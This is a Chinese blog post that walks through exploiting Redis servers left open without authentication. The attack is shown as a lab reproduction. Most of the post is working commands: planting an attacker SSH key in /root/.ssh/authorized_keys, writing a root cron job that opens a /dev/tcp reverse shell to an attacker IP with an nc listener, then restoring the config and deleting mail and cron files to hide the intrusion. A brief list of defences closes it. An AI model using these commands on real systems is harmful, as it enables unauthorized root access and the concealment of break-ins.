首页 > 数据库 >redis未授权利用

redis未授权利用

时间:2023-05-12 14:23:09浏览次数:34  
标签:公钥 dbfilename redis 利用 set ssh 授权 root

Redia未授权访问利用

漏洞成因

  1. 未开启登录验证,并且把IP绑定到0.0.0.0
  2. 未开启登录验证,没有设置绑定IP,protected-mode关闭

利用

写SSH-keygen

原理

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密(非对称),其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端; 
(2)客户端发起登录请求,发送自己的相关信息; 
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端; 
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证; 
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

利用条件

  1. root账号启动redis服务
  2. 服务器开放SSH服务,允许密钥登录。

复现

1.在攻击机生成公私钥

$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 

2.切换到当前用户的ssh目录,在公钥中加入换行符

cd /home/kali/.ssh
cat id_rsa.pub
\n \n \n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeEAWFj5M+ZtyPKe8Fi6jqlOvkAuurYqBaVP1Nez43oicr4SaynIUszCc0357m6VOuOPW+zRI4/Gu0pdWPDJbVXGqiBEtI3qvyqBdbZH8yfyXqmheOG5657eNoqlyTBgwUfIjmDEGWTuRRheC9DNc85YHvabc9UdAes7YcPGYfekTJM+7DeunTzvrWojpGL2FMH7RqlH/HSwKRYUzPfnEpu5U3qBdT8ZX1dtC6iNXiVtK/fICh4WZ/2rrEy0wfyLctYhNGmyzNgmR/gVnbBijv6RxOOzvB35chnGMXFXK8a1HY8ZzmjylsgVdlKNbuq1r7K9mhwml91vUXMzMnLEsNACw90MCtsjdl/qRx91skfn0s+6wbUlBZhNt2OUHqiwRKg0TDY8q0zag4WWQvAOvxsDDjPnrFzdFcLUwGYfPRb0mvxeC2Fm1tewMfhuKFRKG9FIU5eVPrfRo8HjeZKtu6YlSE6u4Fo1OLG8bZghuJ9qM7RlGi2MUyJAgDRuk3PU= kali@kali \n \n \n

3.连接redis

redis-cli -h 192.168.59.130 -p 6379

4.利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys,写入ssh公钥

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n \n \n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeEAWFj5M+ZtyPKe8Fi6jqlOvkAuurYqBaVP1Nez43oicr4SaynIUszCc0357m6VOuOPW+zRI4/Gu0pdWPDJbVXGqiBEtI3qvyqBdbZH8yfyXqmheOG5657eNoqlyTBgwUfIjmDEGWTuRRheC9DNc85YHvabc9UdAes7YcPGYfekTJM+7DeunTzvrWojpGL2FMH7RqlH/HSwKRYUzPfnEpu5U3qBdT8ZX1dtC6iNXiVtK/fICh4WZ/2rrEy0wfyLctYhNGmyzNgmR/gVnbBijv6RxOOzvB35chnGMXFXK8a1HY8ZzmjylsgVdlKNbuq1r7K9mhwml91vUXMzMnLEsNACw90MCtsjdl/qRx91skfn0s+6wbUlBZhNt2OUHqiwRKg0TDY8q0zag4WWQvAOvxsDDjPnrFzdFcLUwGYfPRb0mvxeC2Fm1tewMfhuKFRKG9FIU5eVPrfRo8HjeZKtu6YlSE6u4Fo1OLG8bZghuJ9qM7RlGi2MUyJAgDRuk3PU= kali@kali \n \n \n"
save

5.在攻击机使用ssh连接

ssh  -i id_rsa [email protected]

写计划任务反弹shell

用户定义的设置,位于文件:/var/spool/cron/用户名

原理

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

利用条件

redis是以root用户启动

复现

攻击机监听

nc -lvnp 9090

连接redis

redis-cli -h 192.168.59.130 -p 6379

在redis中操作

#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
set 34d "\n* * * * * /bin/sh -i >& /dev/tcp/192.168.59.129/9090 0>&1\n"
save

接收到shell稳定后后恢复数据

#删除新增的key
del  key
#恢复dir和dbfilename
config set dir ''
config set dbfilename ''

删除入侵痕迹

rm -rf /var/spool/mail/root
删除计划任务
rm -rf /var/spool/cron/root

写webshell

原理

利用条件

  1. 已知web的绝对路径
  2. 具有读写权限

防护

禁止一些高危命令

以低权限运行 Redis 服务

为 Redis 添加密码验证

禁止外网访问 Redis

修改默认端口

保证 authorized_keys 文件的安全

设置防火墙策略

标签:公钥,dbfilename,redis,利用,set,ssh,授权,root
From: https://www.cnblogs.com/whoam1/p/17393985.html

相关文章

  • Redis 简介
    (一)NoSQL简介1.数据库应用的演变历程单机数据库时代一个应用,一个数据库实例Memcached时代读写分离时代分表分库时代(集群)nosql时代2.NoSQL数据库NoSQL=NotOnlySQL(不仅仅是SQL),泛指non-relational(非关系型数据库)。今天随着互联网web2.0网站的兴起,比......
  • window版本redis的配置,包括设置ip访问redis
    1.redis下载https://github.com/tporadowski/redis/releases  解压后目录结构 2.Redis配置系统环境变量右键此电脑->属性||打开设置->系统->关于,高级系统设置->环境变量,选中系统变量Path点击"编辑",弹出的窗口点击"新建",输入Redis安装目录的绝对路径(可点击"浏览",选择Re......
  • redis缓存
    引入依赖<!--redis--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency><!--spring2.X集成redis所需common-pool2--><dependency>......
  • springcache + redis 配置支持缓存ttl失效
    packagetst;importcom.fasterxml.jackson.annotation.JsonAutoDetect;importcom.fasterxml.jackson.annotation.JsonTypeInfo;importcom.fasterxml.jackson.annotation.PropertyAccessor;importcom.fasterxml.jackson.databind.DeserializationFeature;importcom.......
  • 项目Redis缓存设计心得体会
    1,列表类缓存比如一些列表类的缓存,如果列表是跟用户无关的,可以直接对查询的列表进行缓存,比如省份列表、菜单列表等。但是如果列表里面有跟用户相关的属性,比如文档的卡片列表里有用户是否下载过,设计缓存需要注意,可以将用户无关的卡片列表组装后进行缓存,上面的【已下载】【......
  • Redis入门
    引用:【redis】redis快速上手_哔哩哔哩_bilibili20分钟快速入门Redis_哔哩哔哩_bilibiliRedis的hash(哈希类型)数据类型与结构和应用场景_redishash结构fieid必须是相同类型_小洪帽i的博客-CSDN博客07.Redis常用类型-String应用_哔哩哔哩_bilibili1.学习站点:TryRedis......
  • redis事务
    redis事务概述redis中事务是一组命令的集合。事务同命令一样是redis的最小执行单位,一个事务中的命令要么都执行,要么都不执行。事务的原理是先将属于一个事务的命令发送给redis,然后再让redis依次执行这些命令redis保证一个事务中的所有命令要么都执行,要么都不执行。除此之外,red......
  • Oracle 对象批量进行授权
    环境:oracle给用户多表只读权限select'grantselecton'||owner||'.'||object_name||''to用户名;'fromdba_objectswhereownerin(‘owner’)andobject_type='TABLE';批量创建多个同义词SELECT'createorreplaceSYNONYM用户......
  • Android 开发 利用 jq 在 Makefile 里给 output-metadata.json 增加字段
    Makefile:.PHONY:uploadupload:metadata #./push-apk.sh.PHONY:metadatametadata:app/build/outputs/apk/release/output-metadata.jsonapp/build/outputs/apk/release/output-metadata.json:buildupdate-content.txt #在Makefile中插入shell脚本要用双美元......
  • 利用 systemd 管理 MySQL 单机多实例
    利用systemd管理MySQL单机多实例1修改配置文件[root@localhost/root]#cat/etc/my.cnf[mysql]#prompt="\u@mysqldb\R:\m:\s[\d]>"prompt="[\\u@\\h@\\p][\\d]>\\_"no_auto_rehashloose-skip-binary-as-hex[mysqld]basedir=......